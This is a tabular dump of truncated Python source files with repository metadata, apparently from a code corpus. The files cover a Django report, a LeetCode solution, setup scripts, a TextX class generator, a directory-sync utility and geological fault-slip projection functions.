] | 375 | 2015-01-31T10:08:34.000Z | 2021-06-10T19:44:21.000Z | utils/management/commands/report_utils/msg_counts.py | tperrier/mwachx | 94616659dc29843e661b2ecc9a2e7f1d4e81b5a4 | [
"Apache-2.0"
] | 6 | 2016-01-10T19:52:41.000Z | 2020-06-15T22:07:24.000Z | import collections
from django.db import models
import contacts.models as cont
def print_report(parser):
parser.print_header('Message Counts By Auto Tag')
system_msgs = cont.Message.objects.filter(is_system=True).exclude(auto='')
groups = system_msgs.order_by().values('auto').annotate(count=models.Cou... | 29.961538 | 93 | 0.653402 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 109 | 0.139923 |
b1c3f31c631276e9ba4df0e85896052a590bb06f | 942 | py | Python | leetcode/medium/137-Single_number_II.py | shubhamoli/practice | 5a24fdeb6e5f43b821ef0510fe3b343ddda18f22 | [
"MIT"
] | 1 | 2020-02-25T10:32:27.000Z | 2020-02-25T10:32:27.000Z | leetcode/medium/137-Single_number_II.py | shubhamoli/practice | 5a24fdeb6e5f43b821ef0510fe3b343ddda18f22 | [
"MIT"
] | null | null | null | leetcode/medium/137-Single_number_II.py | shubhamoli/practice | 5a24fdeb6e5f43b821ef0510fe3b343ddda18f22 | [
"MIT"
] | null | null | null | """
Leetcode #137
"""
from typing import List
from collections import Counter
class Solution:
# linear but extra memory
def singleNumber(self, nums: List[int]) -> int:
if not nums:
return None
# O(n) operation
store = Counter(nums)
for i in nums:
... | 19.625 | 65 | 0.541401 | 567 | 0.601911 | 0 | 0 | 0 | 0 | 0 | 0 | 76 | 0.080679 |
b1c431a1f0a698ee3cb88df0ac882e928a41cf16 | 1,133 | py | Python | CS303/lab4-6/work/algorithm_ncs/ncs_client.py | Wycers/Codelib | 86d83787aa577b8f2d66b5410e73102411c45e46 | [
"MIT"
] | 22 | 2018-08-07T06:55:10.000Z | 2021-06-12T02:12:19.000Z | CS303_Artifical-Intelligence/NCS/algorithm_ncs/ncs_client.py | Eveneko/SUSTech-Courses | 0420873110e91e8d13e6e85a974f1856e01d28d6 | [
"MIT"
] | 28 | 2020-03-04T23:47:22.000Z | 2022-02-26T18:50:00.000Z | CS303/lab4-6/work/algorithm_ncs/ncs_client.py | Wycers/Codelib | 86d83787aa577b8f2d66b5410e73102411c45e46 | [
"MIT"
] | 4 | 2019-11-09T15:41:26.000Z | 2021-10-10T08:56:57.000Z | import json
from algorithm_ncs import ncs_c as ncs
import argparse
parser = argparse.ArgumentParser(description="This is a NCS solver")
parser.add_argument("-c", "--config", default="algorithm_ncs/parameter.json", type=str, help="a json file that contains parameter")
parser.add_argument("-d", "--data", default="6", ... | 29.815789 | 131 | 0.655781 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 384 | 0.338923 |
b1c525fad1b20ec7dd22a4699a9e0a34d0093f34 | 1,999 | py | Python | src/setup.py | umedoblock/fugou | 45d95f20bba6f85764fb686081098d92fc8cdb20 | [
"BSD-3-Clause"
] | null | null | null | src/setup.py | umedoblock/fugou | 45d95f20bba6f85764fb686081098d92fc8cdb20 | [
"BSD-3-Clause"
] | 2 | 2018-11-25T12:06:08.000Z | 2018-12-05T14:37:59.000Z | src/setup.py | umedoblock/fugou | 45d95f20bba6f85764fb686081098d92fc8cdb20 | [
"BSD-3-Clause"
] | null | null | null | # name
# name of the package short string (1)
# version
# version of this release short string (1)(2)
# author
# package author’s name short string (3)
# author_email
# email address of the package author email address (3)
# maintainer
# package maintainer’s name short string (3)
# maintainer_email
... | 27.763889 | 64 | 0.630815 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,198 | 0.596317 |
b1c59e2da37dca10b24d9fc1fc1c500ca912a5d8 | 339 | py | Python | setup.py | elcolumbio/cctable | 798c46a833cb861d9e80cc52ab81cfc859c19d5e | [
"Apache-2.0"
] | null | null | null | setup.py | elcolumbio/cctable | 798c46a833cb861d9e80cc52ab81cfc859c19d5e | [
"Apache-2.0"
] | null | null | null | setup.py | elcolumbio/cctable | 798c46a833cb861d9e80cc52ab81cfc859c19d5e | [
"Apache-2.0"
] | null | null | null | from setuptools import setup
setup(name='cctable',
version='0.3',
description='Frontend visualizing accouting data.',
url='github.com/elcolumbio/cctable',
author='Florian Benkö',
author_email='f.benkoe@innotrade24.de',
license='Apache License, Version 2.0 (the "License")',
pac... | 30.818182 | 60 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 178 | 0.523529 |
b1c8b03e6d7fe1d0aa211ed21f9c71de064b475d | 2,685 | py | Python | scoff/misc/textx.py | brunosmmm/scoff | e1a0b5f98dd9e60f41f3f7cfcda9038ffd80e138 | [
"MIT"
] | null | null | null | scoff/misc/textx.py | brunosmmm/scoff | e1a0b5f98dd9e60f41f3f7cfcda9038ffd80e138 | [
"MIT"
] | 1 | 2020-03-20T13:57:52.000Z | 2021-03-11T17:25:25.000Z | scoff/misc/textx.py | brunosmmm/scoff | e1a0b5f98dd9e60f41f3f7cfcda9038ffd80e138 | [
"MIT"
] | null | null | null | """Auto-generate custom TextX AST classes."""
import re
try:
import black
except ImportError:
black = None
GRAMMAR_RULE_REGEX = re.compile(
r"([a-zA-Z_]\w*)\s*:(((['\"];['\"])|[^;])+);", re.S
)
RULE_MEMBER_REGEX = re.compile(
r"([a-zA-Z_]\w*)\s*([?\+\*]?)=\s*([^\s]+)", re.S
)
if black is not None:
... | 27.680412 | 77 | 0.587337 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 580 | 0.216015 |
b1c9b912939d5da977a0f0ba07c635174c5f0f28 | 683 | py | Python | scripts/runTests.py | RDFLib/pymicrodata | a4e2d82d092316f0742902227664bf691be6c17f | [
"W3C-20150513"
] | 25 | 2015-01-30T13:35:32.000Z | 2021-12-29T18:42:35.000Z | scripts/runTests.py | RDFLib/pymicrodata | a4e2d82d092316f0742902227664bf691be6c17f | [
"W3C-20150513"
] | 7 | 2016-01-23T18:01:01.000Z | 2020-12-22T16:27:38.000Z | scripts/runTests.py | RDFLib/pymicrodata | a4e2d82d092316f0742902227664bf691be6c17f | [
"W3C-20150513"
] | 4 | 2016-04-30T23:37:56.000Z | 2019-03-24T20:56:32.000Z | #!/usr/bin/env python
"""
Run the microdata testing locally
"""
# You may want to adapt this to your environment...
import sys
sys.path.append("..")
import glob
from pyMicrodata import pyMicrodata
from rdflib import Graph
###########################################
# marshall all test HTML files
test_path = "../test... | 24.392857 | 74 | 0.657394 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 297 | 0.434846 |
b1ca7d47ebdd386eeb55838e16468d553751ab0a | 2,910 | py | Python | DeleteBackupFiles/deletebackupfile.py | Liuzkai/PythonScript | fb21ad80e085f6390ae970b81404f7e5c7923f4e | [
"MIT"
] | 1 | 2021-01-16T16:09:33.000Z | 2021-01-16T16:09:33.000Z | DeleteBackupFiles/deletebackupfile.py | Liuzkai/PythonScript | fb21ad80e085f6390ae970b81404f7e5c7923f4e | [
"MIT"
] | null | null | null | DeleteBackupFiles/deletebackupfile.py | Liuzkai/PythonScript | fb21ad80e085f6390ae970b81404f7e5c7923f4e | [
"MIT"
] | 1 | 2021-01-16T16:09:36.000Z | 2021-01-16T16:09:36.000Z | # -*- coding: utf-8 -*-
# https://oldj.net/
u"""
同步两个文件夹
用法:
python syncdir.py source_dir target_dir
执行后,source_dir 中的文件将被同步到 target_dir 中
这个同步是单向的,即只将 source_dir 中更新或新增的文件拷到 target_dir 中,
如果某个文件在 source_dir 中不存在而在 target_dir 中存在,本程序不会删除那个文件,
也不会将其拷贝到 source_dir 中
判断文件是否更新的方法是比较文件最后修改时间以及文件大小是否一致
"""
import os
im... | 30.957447 | 155 | 0.55189 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,234 | 0.391995 |
b1cc39d59dda967c7dcf371addd5df5990b99e23 | 5,004 | py | Python | enkube/util.py | rfairburn/enkube-1 | 47910bbcc05a40a5b32c97d44aab9ca5c7038ed0 | [
"Apache-2.0"
] | null | null | null | enkube/util.py | rfairburn/enkube-1 | 47910bbcc05a40a5b32c97d44aab9ca5c7038ed0 | [
"Apache-2.0"
] | 2 | 2019-12-03T20:05:03.000Z | 2021-09-30T17:37:45.000Z | enkube/util.py | rfairburn/enkube-1 | 47910bbcc05a40a5b32c97d44aab9ca5c7038ed0 | [
"Apache-2.0"
] | 1 | 2019-12-03T19:23:05.000Z | 2019-12-03T19:23:05.000Z | # Copyright 2018 SpiderOak, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writi... | 25.927461 | 93 | 0.632894 | 948 | 0.189448 | 1,470 | 0.293765 | 818 | 0.163469 | 474 | 0.094724 | 615 | 0.122902 |
b1cf5ce6c13872161132303618fee46973f05973 | 7,588 | py | Python | culpable/fault_projections.py | cossatot/at_fault | 63beba4d616e89ebb4c2eaf48230717a4179d4e2 | [
"MIT"
] | 3 | 2019-12-09T05:25:04.000Z | 2021-04-25T14:55:25.000Z | culpable/fault_projections.py | cossatot/culpable | 63beba4d616e89ebb4c2eaf48230717a4179d4e2 | [
"MIT"
] | 9 | 2016-10-11T16:11:42.000Z | 2017-01-04T21:17:27.000Z | culpable/fault_projections.py | cossatot/culpable | 63beba4d616e89ebb4c2eaf48230717a4179d4e2 | [
"MIT"
] | null | null | null | import numpy as np
from numpy import sin, cos, tan, degrees, radians, arctan, arcsin
# Slip projections
## To/From offset
def offset_from_vert_sep(vert_sep, dip, rake=90.):
dip_slip = dip_slip_from_vert_sep(vert_sep, dip, rake)
return offset_from_dip_slip(dip_slip, dip, rake)
def vert_sep_from_offset(offset,... | 32.289362 | 78 | 0.741566 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 514 | 0.067739 |